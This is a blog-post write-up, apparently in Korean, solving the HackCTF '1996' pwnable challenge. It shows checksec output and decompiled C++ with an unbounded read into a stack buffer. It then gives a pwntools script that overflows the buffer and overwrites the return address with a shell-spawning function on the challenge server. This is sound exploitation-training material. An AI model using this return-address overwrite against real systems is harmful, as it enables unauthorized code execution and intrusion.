Posts HackCTF 1996
Post
Cancel

HackCTF 1996

1996

Source

1
2
3
4
5
6
7
  pwnable git:(master)  checksec --file 1996
[*] '/home/ubuntu/CTF/hackctf/pwnable/1996'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int spawn_shell(void)
{
  char *argv[2]; // [rsp+0h] [rbp-10h] BYREF

  argv[0] = "/bin/bash";
  argv[1] = 0LL;
  return execve("/bin/bash", argv, 0LL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rbx
  char *v7; // rax
  __int64 v8; // rdx
  __int64 v9; // rax
  char name[1040]; // [rsp+0h] [rbp-410h] BYREF

  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin, name);// cin >> name
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, name, v3);// v3 = name
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);// v6 = (v4 = v5)
  v7 = getenv(name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);// v9 = (v4 = getenv(name))
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);// cout << (v4)
  return 0;
}

Solve

C++에 또 당황했지만 바이너리는 간단하다. 바이너리를 실행하면 입력을 받고 입력 받은 값의 환경변수를 출력해준다.

때문에 처음에 환경변수에 spawn_shell()주소를 넣어서 실행하려 했지만 불가능했다.

그래서 구상한 페이로드는 버퍼를 채우고 RET에 spawn_shell() 로 함수를 콜하는 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#context.arch = 'amd64'
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./1996")
p = remote('ctf.j0n9hyun.xyz', 3013)
pop_rdi = 0x400a33
spawn_shell = 0x400897
#gdb.attach(p, 'b*0x04009c9')

print p.recvuntil("Which environment variable do you want to read? ")
payload = ''
payload += "A"*1048
payload += p64(spawn_shell)

p.sendline(payload)
p.interactive()
This post is licensed under CC BY 4.0 by the author.